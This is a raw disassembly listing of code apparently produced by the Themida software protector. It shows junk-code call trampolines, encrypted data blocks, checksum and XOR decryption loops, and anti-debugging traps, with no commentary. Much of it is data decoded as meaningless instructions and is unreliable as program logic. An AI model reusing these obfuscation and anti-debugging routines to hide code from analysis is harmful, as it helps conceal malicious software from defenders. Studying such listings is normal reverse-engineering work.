		dd 0AE32589h, 6AFCE183h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0CC39C355h,	0FCD88B22h
		dd 2310DF80h, 0E333199Dh, 6AC02B0Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0A48CC355h
		dd 0BA5D0F17h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CE013
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE013	proc near		; CODE XREF: Themida_:005CE00Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5CE013	endp

; ---------------------------------------------------------------------------
		db 6Fh
; ---------------------------------------------------------------------------
		inc	eax
		retn
; ---------------------------------------------------------------------------
		icebp
		js	short near ptr loc_5CE032+2
		db	36h
		push	es


loc_5CE02B:				; CODE XREF: Themida_:005CE035j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax


loc_5CE032:				; CODE XREF: Themida_:005CE027j
		sub	ecx, 4
		jnz	short loc_5CE02B
		sub	[ebp+0AE305F9h], ecx
		push	0
		push	esi
		call	sub_5CE048
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE048	proc near		; CODE XREF: Themida_:005CE040p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5CE048	endp

; ---------------------------------------------------------------------------
		dd 0B589F9FEh, 0AE317E5h, 880Dh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0B5BD8986h
		dd 0F0AE32Eh, 98Eh, 81666000h, 511880D9h, 958B6158h, 0AE31479h
		dd 0BE9h, 602ADE00h, 107AD723h,	8800C672h, 6C98D8Bh, 50F90AE3h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	8D896058h
		dd 0AE31D2Dh, 1F99BD01h, 83610AE3h, 0E31F61BDh,	840F000Ah
		dd 0ADh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Dh,	56C35141h, 564737C8h, 0BCCBA816h, 8E0F60FFh, 6
		dd 1341B58Bh, 0BF660AE3h, 0B86162ECh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CE127
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE127	proc near		; CODE XREF: Themida_:005CE11Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5CE127	endp

; ---------------------------------------------------------------------------
		inc	edi
		movzx	ebx, cx
		lea	ecx, [ebp+0AE34E6Eh]
		mov	ebx, [ebp+0AE31A59h]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CE154
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE154	proc near		; CODE XREF: Themida_:005CE14Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5CE154	endp

; ---------------------------------------------------------------------------
		fucom	st(7)
		push	ds
		fcom	qword ptr [edi]
		pop	ss
		test	al, 32h
		daa
		movsx	ebx, cx
		pusha
		jmp	loc_5CE182
; ---------------------------------------------------------------------------
		pop	esp
		int	3		; Trap to Debugger
		pop	ss
		pop	es
		adc	ebp, ecx
		fcomp	dword ptr [edx-6CD8C1B1h]


loc_5CE182:				; CODE XREF: Themida_:005CE171j
		jmp	loc_5CE18C
; ---------------------------------------------------------------------------
		db 9
		dd 8C0E41A5h
; ---------------------------------------------------------------------------


loc_5CE18C:				; CODE XREF: Themida_:loc_5CE182j
		popa
		cmp	dword ptr [ebp+0AE30069h], 0
		jz	loc_5CE539
		mov	[ebp+0AE31889h], edi
		cmp	dword ptr [ebp+0AE30069h], 1
		jz	loc_5CE554
		add	[ebp+0AE31395h], ebx
		cmp	dword ptr [ebp+0AE30069h], 3
		jbe	loc_5CE51E
		push	ecx
		and	bl, 6Dh
		pop	ebx
		pusha
		mov	[ebp+0AE31711h], ebx
		mov	cx, ds
		mov	edi, 6C2CB979h
		and	cl, 4
		mov	edi, [ebp+0AE31ED1h]
		or	cl, cl
		jz	loc_5CE2F8
		mov	[ebp+0AE30355h], edx
		mov	eax, [ebp+0AE31FD1h]
		xor	di, 0C7D3h
		xor	eax, [ebp+0AE31E45h]
		mov	edi, eax
		push	eax
		mov	ebx, esi
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_5CE20F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE20F	proc near		; CODE XREF: Themida_:005CE207p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5CE20F	endp

; ---------------------------------------------------------------------------
		db 0ADh
		dd 0FD073306h, 0C59D8B11h, 330AE309h, 0E305E19Dh, 0FFE3810Ah
		dd 6A1555E7h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0B70FB431h, 68F068F9h, 0B6BF0C13h
		dd 817E5E96h, 6B0F2434h, 6A0C0Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8BCE1CC3h, 0E313119Dh
		dd 850F530Ah, 2, 0FF5B5B51h, 0E31A4595h, 56006A0Ah, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 0A62B0C13h, 0D62A8589h, 6A0AE6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 39A0CFC3h
		dd 1085AD40h, 81661357h, 8A2A8AF7h, 1BBE9DEh, 0BD2B0000h
		dd 0AE32105h
; ---------------------------------------------------------------------------


loc_5CE2F8:				; CODE XREF: Themida_:005CE1DFj
		mov	eax, [ebp+0AE6D622h]
		or	[ebp+0AE33385h], edi
		mov	dword ptr [eax], 18h
		mov	ebx, esi
		mov	esi, [ebp+0AE6D626h]
		push	0
		push	ebp
		call	sub_5CE31D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE31D	proc near		; CODE XREF: Themida_:005CE315p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5CE31D	endp

; ---------------------------------------------------------------------------
		db 62h,	0CDh, 0ABh
		dd 159D8B77h, 8B0AE314h, 0E325D185h, 56006A0Ah,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 8D0F2Eh, 89000000h
		dd 5DBD2306h, 8B0AE331h, 0E31FD185h, 0DAF3800Ah, 6A044689h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0DAE6C353h, 551F55A4h, 14299D29h,	0B70F0AE3h
		dd 0BB6650F9h, 3489692Dh, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8D3183A7h
		dd 0AE32265h, 0D622B5FFh, 6A0AE6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 680F97C3h, 973BCC24h
		dd 81FE8B66h, 37DB2404h, 6A68E3h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0C031F5C3h, 93AB4947h
		dd 0FEBF0FFCh, 0D62A858Dh, 6A0AE6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0B7A842C3h
		dd 8E8F4h, 0D7400000h, 0C1C1EF91h, 0BB6674A3h, 805FF18Fh
		dd 6090C6E7h, 52505250h, 585A310Fh, 5250310Fh, 585A310Fh
		dd 5061585Ah, 900EBB66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0B4195B80h, 8B4621E8h
		dd 0E306859Dh, 4595FF0Ah, 0E90AE31Ah, 5, 0DC147BD1h, 6A6125h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0C7A613C3h, 0E3006985h, 30Ah, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 7DE0DB62h
		dd 2EC73172h, 9D898A45h, 0AE31A7Dh, 0D62ABD83h,	0F000AE6h
		dd 1184h, 66EB8100h, 0E946DBE7h, 21h, 10919D8Bh
		db 0E3h, 0Ah
; ---------------------------------------------------------------------------


loc_5CE51E:				; CODE XREF: Themida_:005CE1BAj
					; Themida_:005CE535j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CE51E
		jmp	short loc_5CE56F
; ---------------------------------------------------------------------------


loc_5CE539:				; CODE XREF: Themida_:005CE194j
					; Themida_:005CE550j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CE539
		jmp	short loc_5CE56F
; ---------------------------------------------------------------------------


loc_5CE554:				; CODE XREF: Themida_:005CE1A7j
					; Themida_:005CE56Bj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CE554
		jmp	short $+2


loc_5CE56F:				; CODE XREF: Themida_:005CE537j
					; Themida_:005CE552j
		mov	eax, eax
		push	0
		push	edx
		call	sub_5CE57C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE57C	proc near		; CODE XREF: Themida_:005CE574p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5CE57C	endp

; ---------------------------------------------------------------------------
		les	edx, [ebp+3Fh]
		sbb	eax, eax
		lahf
		and	dword ptr [bp-45h], 7Dh
		jnp	short loc_5CE5CA
		mov	ch, 0A5h
		xor	bl, ah
		or	al, [ebx-1CFF9643h]
		or	al, [ebx]
		jnz	loc_5CE9A6
		push	0
		push	ebx
		call	sub_5CE5B6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE5B6	proc near		; CODE XREF: Themida_:005CE5AEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5CE5B6	endp

; ---------------------------------------------------------------------------
		dw 0B883h
; ---------------------------------------------------------------------------
		xor	al, 8Bh


loc_5CE5CA:				; CODE XREF: Themida_:005CE597j
		mov	ebp, 0AE305D5h
		cmp	dword ptr [ebp+0AE6D62Ah], 0
		jz	loc_5CE9A6
		jmp	loc_5CE5EA
; ---------------------------------------------------------------------------
		align 2
		dw 0F096h
		dd 0F29FA527h
; ---------------------------------------------------------------------------
		pop	edx
		pop	ecx


loc_5CE5EA:				; CODE XREF: Themida_:005CE5DCj
		push	dword ptr [ebp+0AE6D62Ah]
		adc	ebx, 7D598EADh
		call	dword ptr [ebp+0AE33315h]
		sub	[ebp+0AE31CA5h], edi
		mov	esi, [ebp+0AE6D61Eh]
		push	0
		push	edi
		call	sub_5CE613
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE613	proc near		; CODE XREF: Themida_:005CE60Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5CE613	endp

; ---------------------------------------------------------------------------
		jecxz	short loc_5CE68B
		mov	edi, esi
		mov	dword ptr [esi], 10001h
		xor	edi, [ebp+0AE31675h]
		xchg	eax, esi
		jns	loc_5CE63F
		mov	edi, 3326ABD5h


loc_5CE63F:				; CODE XREF: Themida_:005CE634j
		push	eax
		mov	bl, ch
		xchg	eax, esi
		push	0
		push	eax
		call	sub_5CE64E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE64E	proc near		; CODE XREF: Themida_:005CE646p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5CE64E	endp

; ---------------------------------------------------------------------------
		dw 572Ah
		dd 6B429AEDh, 0BF0F0875h, 2AB5FFD9h, 8B0AE6D6h,	0E312DDBDh
		dd 0BD95FF0Ah, 6A0AE320h, 3E85700h, 20000000h, 895FC35Fh
		db 7Ch,	24h, 4
; ---------------------------------------------------------------------------


loc_5CE68B:				; CODE XREF: Themida_:005CE623j
		add	dword ptr [esp+4], 18h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dw 0D09Dh
		dd 89961CE9h, 0E319E185h, 1EB58B0Ah, 0E80AE6D6h, 13h, 3A02E83Fh
		dd 4CB7F086h, 0EA74CD6h, 6BADF61Ah, 5B58F96Eh, 1059858Bh
		dd 0F510AE3h, 895FF8BFh, 0C486h, 958BF800h, 0AE31479h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 20C35040h
		dd 57DB537Fh, 32C1BD23h, 835B0AE3h, 6A04C2h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 96B3A6C3h
		dd 6A205089h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0FA10C350h, 1DBD8972h,	8D0AE31Eh
		dd 0E6E8B385h, 55006A0Ah, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0F04AD2DBh, 0F19D31CBh
		dd 890AE317h, 0B886h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 9D01E04Ch, 0AE32BBDh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 805A23C3h, 80A6F02Fh, 0BD8911CFh,	0AE307EDh
		dd 0D62AB5FFh, 6A0AE6h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 9063A4C3h, 35BB84D4h, 0FF27D6CDh
		dd 0E31E7195h, 56006A0Ah, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 6C0DCF21h, 686B57B8h
		dd 51FA8B66h, 0A5BD8960h, 600AE32Eh, 965F6161h,	0EC2F21BBh
		dd 0E9605019h, 0Ah, 9A3E780Eh, 0E31BA175h, 0E951A3EFh
		dd 0Bh,	0F3FB98BCh, 1E0D2111h, 580A076Ah, 0B5FF9661h, 0AE6D62Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 50C35646h
		dd 9BC1493Dh, 95FF8E31h, 0AE32369h, 0F1F78166h,	0ADBD839Bh
		dd 0AE317h, 23840Fh, 9D2B0000h,	0AE31C61h, 10E950h, 0FF3F0000h
		dd 4BE69A09h, 0E0707B7Dh, 0C04B6BB8h, 34892BD1h, 8EB75324h
		dd 2AB5FF5Bh, 30AE6D6h,	0E32DC59Dh, 9595FF0Ah, 6A0AE302h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 339AC357h, 0E32B61BDh, 2AB5FF0Ah,	6A0AE6D6h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0DF97C356h, 0E5CE52EDh, 8F0F9968h, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+0AE311DDh]
		movsx	edi, si
		cmp	dword ptr [ebp+0AE3197Dh], 2
		jz	loc_5CE96F
		clc
		jmp	loc_5CE93D
; ---------------------------------------------------------------------------
		mov	dh, 16h
		sub	cl, bh


loc_5CE93D:				; CODE XREF: Themida_:005CE933j
		mov	eax, [ebp+0AE31A65h]
		jg	loc_5CE94F
		mov	[ebp+0AE330A5h], ecx


loc_5CE94F:				; CODE XREF: Themida_:005CE943j
		mov	byte ptr [eax],	0
		push	0
		push	edi
		call	sub_5CE95D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE95D	proc near		; CODE XREF: Themida_:005CE955p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5CE95D	endp

; ---------------------------------------------------------------------------
		db 88h,	5Bh
; ---------------------------------------------------------------------------


loc_5CE96F:				; CODE XREF: Themida_:005CE92Cj
		mov	dword ptr [ebp+0AE3211Dh], 0
		push	0
		push	ecx
		call	sub_5CE984
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE984	proc near		; CODE XREF: Themida_:005CE97Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CE984	endp

; ---------------------------------------------------------------------------
		or	eax, 8E8h
		add	[esi+55h], cl
		add	[ebp+2A6AA34Fh], esi
		mov	bx, di
		pop	edi


loc_5CE9A6:				; CODE XREF: Themida_:005CE5A5j
					; Themida_:005CE5D6j
		jmp	near ptr dword_5CDAF0+2F3h
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CE9B6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE9B6	proc near		; CODE XREF: Themida_:005CE9AEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5CE9B6	endp

; ---------------------------------------------------------------------------
		dw 2C55h
		dd 33A86EF8h, 144D9D2Bh, 0C18B0AE3h, 0CA71B9BFh, 0FD858D6Ah
		dd 560AE32Fh, 9B8F6BFh,	0E9905F4Fh, 0Fh, 0CEAC8264h, 0EF570C5Fh
		dd 0C1849AF7h, 50BC8188h, 0BF665250h, 310F831Fh, 5AF88B66h
		dd 0BD8B9058h, 0AE313F9h, 6AF9006Ah, 1852900h, 8D0AE306h
		dd 0E7C72085h, 57006A0Ah, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8928AFD1h, 0E31C0185h
		dd 0B58D010Ah, 830AE31Ch, 6A05C0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 7F0A73C3h, 0B589621Dh
		dd 0AE31B7Dh, 0D5BB6650h, 24048935h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 29C35343h, 0FD2BD91Fh, 0CA62BBADh
		dd 6A67A0h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Dh,	19C35141h, 0B21E706h, 0DA4C7B69h, 919D8BE2h, 8B0AE300h
		dd 0E31B8D9Dh, 0E9006A0Ah, 14h,	59ED8446h, 5D5DA15Fh, 0AFE7D4E1h
		dd 8B06B56Eh, 0D781C545h, 14E995FFh, 8C0F0AE3h,	6, 23619D8Bh
		dd 8D8D0AE3h, 0AE6D5CAh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0D5C35747h, 0CBC42B1Ah, 81662CB8h, 0FF17B1E3h
		dd 50006AD1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 4B80D6B8h, 937DF387h, 19B59D8Bh,	10E90AE3h
		dd 0A7000000h, 0F0622C37h, 0C7FF9D13h, 0FFA5479Ch, 29175F1Fh
		dd 0E311A585h, 69BD830Ah, 10AE322h, 90850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 4BE503C3h, 0D781F1EAh, 6B1BCDCEh, 9589026Ah,	0AE31C81h
		dd 0F525050h, 5AFA8B31h, 24048958h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 97C35141h, 95FF8C32h, 0AE31E71h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E4C35242h
		dd 9E89398h, 0B6000000h, 0B06DFC88h, 270F81CDh,	0FEF8166h
		dd 0A1E95F45h, 0E800000Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 0AE7C72Ah
		ja	loc_5CEC30
		push	edx
		sub	di, 23BAh
		pop	ebx


loc_5CEC30:				; CODE XREF: Themida_:005CEC23j
		push	0
		push	ebx
		call	sub_5CEC3B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEC3B	proc near		; CODE XREF: Themida_:005CEC33p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5CEC3B	endp

; ---------------------------------------------------------------------------
		db 0B4h
		dd 9149ED74h, 0E9747169h, 0Fh, 0A473CE58h, 7D9B0D4Ch, 3CDCA8Bh
		dd 8D68BBA6h, 0E6C13E85h, 8FBF660Ah, 9DBD8B23h,	900AE30Ah
		dd 59F9BB50h, 819002E2h, 0B097EEEFh, 35FF643Ch,	0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5CEC97
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEC97	proc near		; CODE XREF: Themida_:005CEC8Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CEC97	endp

; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------
		pop	ss
		retf	0C351h
; ---------------------------------------------------------------------------
		dd 9A9E5FD0h, 0FA8B6653h, 64DA8B5Fh, 2589h, 0E3810000h
		dd 29983AA2h, 1585FFF8h, 8B0AE31Ch, 0BBFF6ADFh,	5B89FD05h
		dd 1D7DB5FFh, 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 6237FDC3h, 0FF34B719h, 0E3007D95h
		dd 10DE90Ah, 0BB560000h, 2D92D0D4h, 8900B05Fh, 0E32D159Dh
		dd 0F70E60Ah, 688h, 819D8B00h, 0E40AE316h, 0D59D0B71h
		dd 3C0AE305h, 0E0830F61h, 81000000h, 0DBA170D3h, 0C8B60F4Ah
		dd 6BAh, 6E900h, 0DACC0000h, 62DEDE62h,	5F50C18Bh, 8904E8C1h
		dd 0E311A595h, 0E2F7660Ah, 0FCD8D89h, 0C82B0AE3h, 225D8531h
		dd 0D18B0AE3h, 1CBDBD8Bh, 9CE90AE3h, 8B000000h,	0E30509BDh
		dd 6E80Ah, 0AB050000h, 0EE628A6Fh, 8B5BD98Ah, 0E3168585h
		dd 12E90Ah, 85150000h, 25471CC8h, 428724CDh, 6467AAD6h
		dd 440BB629h, 6607C083h, 0C083DA8Bh, 0A567BF00h, 0DE8B65FEh
		dd 830FD03Bh, 17h, 25D59501h, 48E90AE3h, 89000000h, 0E31CDDB5h
		dd 1185290Ah, 8B0AE316h, 0E31A358Dh, 0FBBF0F0Ah, 0F01E183h
		dd 2A84h, 359D3300h, 830AE306h,	0E31A35A5h, 5F57FE0Ah
		dd 16859589h, 5E90AE3h,	0E0000000h, 68C60A68h, 28E99D03h
		dd 0E90AE3h, 8D000000h,	0E731B4B5h, 53006A0Ah, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 711E42FFh
		dd 0E3816683h, 6A08D4h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0FDC35646h, 9D8BDCAAh, 0AE321E1h, 0BF66FBB7h
		dd 95FF177Fh, 0AE31CD1h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 0F7C35242h, 6B01B372h, 0EE9E2h, 30790000h
		dd 3F0B3F37h, 698791BFh, 2E5BCFDFh, 796B9h, 79B50900h
		dd 830AE313h, 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0B904F4C3h, 0BF66A60Dh, 8166134Dh
		dd 0FCEFD5CBh, 0B589C02Bh, 0AE3118Dh, 25BB6660h, 8E925h
		dd 0A9D60000h, 0A9942C31h, 0BA610B97h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CEF07
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEF07	proc near		; CODE XREF: Themida_:005CEEFFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5CEF07	endp

; ---------------------------------------------------------------------------
		popf
		push	esi
		int	3		; Trap to Debugger
		jno	short loc_5CEF7D
		mov	bx, ax


loc_5CEF1F:				; CODE XREF: Themida_:005CEF29j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CEF1F
		push	0
		push	edi
		call	sub_5CEF36
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEF36	proc near		; CODE XREF: Themida_:005CEF2Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5CEF36	endp

; ---------------------------------------------------------------------------
		dw 0A631h
; ---------------------------------------------------------------------------
		or	[ebx+27h], esp
		mov	esi, 880Dh
		add	[eax-77h], ah
		xchg	eax, ebp
		cmp	ds:0BA660AE3h, esi
		inc	ebx
		retn
; ---------------------------------------------------------------------------
		dd 79958B61h, 8B0AE314h, 0E99501F8h, 8B0AE30Ah,	0E306C98Dh
		dd 0C9B5890Ah, 500AE31Eh, 188BC28Bh
		db 3
; ---------------------------------------------------------------------------


loc_5CEF7D:				; CODE XREF: Themida_:005CEF1Aj
		ror	dword ptr [ebx-2E3E74E8h], 0E8h
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		mov	di, si
		mov	di, dx
		cmp	dword ptr [ebp+0AE31F61h], 0
		jz	loc_5CEFE3
		push	eax
		mov	edi, [ebp+0AE33531h]
		pop	ebx
		mov	eax, 0
		push	0
		push	ecx
		call	sub_5CEFB4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEFB4	proc near		; CODE XREF: Themida_:005CEFACp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5CEFB4	endp

; ---------------------------------------------------------------------------
		dd 0EE2C0333h, 42086EAh, 6E8D8DE5h, 8B0AE34Eh, 0E3153DBDh
		dd 0FE1FF0Ah, 8Dh
		db 0, 8Bh, 0D8h
; ---------------------------------------------------------------------------


loc_5CEFE3:				; CODE XREF: Themida_:005CEF96j
		cmp	dword ptr [ebp+0AE30069h], 0
		jz	loc_5CF47A
		push	0
		push	esi
		call	sub_5CEFFB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEFFB	proc near		; CODE XREF: Themida_:005CEFF3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5CEFFB	endp

; ---------------------------------------------------------------------------
		cli
		xor	dh, cl
		sbb	esi, esi
		movsx	ebx, cx
		cmp	dword ptr [ebp+0AE30069h], 1
		jz	loc_5CF495
		push	0
		push	ebx
		call	sub_5CF02B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF02B	proc near		; CODE XREF: Themida_:005CF023p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5CF02B	endp

; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------
		mov	bh, 4Ch
		setalc
		dec	esp
		cmpsd
		push	cs
		mov	[ebp+0AE33135h], esi
		cmp	dword ptr [ebp+0AE30069h], 3
		jbe	loc_5CF45F
		pusha
		call	near ptr loc_5CF06A+1
		xchg	eax, edi
		lea	esi, [ebp+7Ah]
		db	36h
		pop	ss
		rcr	dword ptr [ecx+7Bh], 0DCh
		inc	edx
		lea	esi, [edx-5Fh]
		cli


loc_5CF06A:				; CODE XREF: Themida_:005CF056p
		imul	ecx, [ebx-7399A028h], 56006AD9h
		call	sub_5CF07C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF07C	proc near		; CODE XREF: Themida_:005CF074p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5CF07C	endp

; ---------------------------------------------------------------------------
		dd 80FDC485h, 0F8FC05A8h, 6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0DAFAC356h
